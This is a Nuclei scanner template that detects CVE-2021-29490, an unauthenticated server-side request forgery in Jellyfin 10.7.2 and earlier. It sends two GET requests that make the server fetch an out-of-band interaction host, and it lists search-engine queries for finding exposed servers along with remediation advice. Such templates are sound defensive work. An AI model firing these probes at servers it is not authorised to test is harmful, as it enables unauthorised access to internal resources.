id: CVE-2021-29490

info:
  name: Jellyfin 10.7.2 - Server Side Request Forgery
  author: alph4byt3
  severity: medium
  description: |
    Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
    epss-score: 0.6907
    epss-percentile: 0.99285
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.title:"Jellyfin"
    fofa-query: body="jellyfin"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,ssrf,jellyfin,oast,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 490a00463044022041f5ac9b5d8277bf34202c7dd4479599b278ca810a1fb52eddd14be5489808540220019c4ce90a5037a9d59bd3007c1c2343e97509be79141c1d55282fd3ecabe805:922c64590222798bb761d5b6d8e72950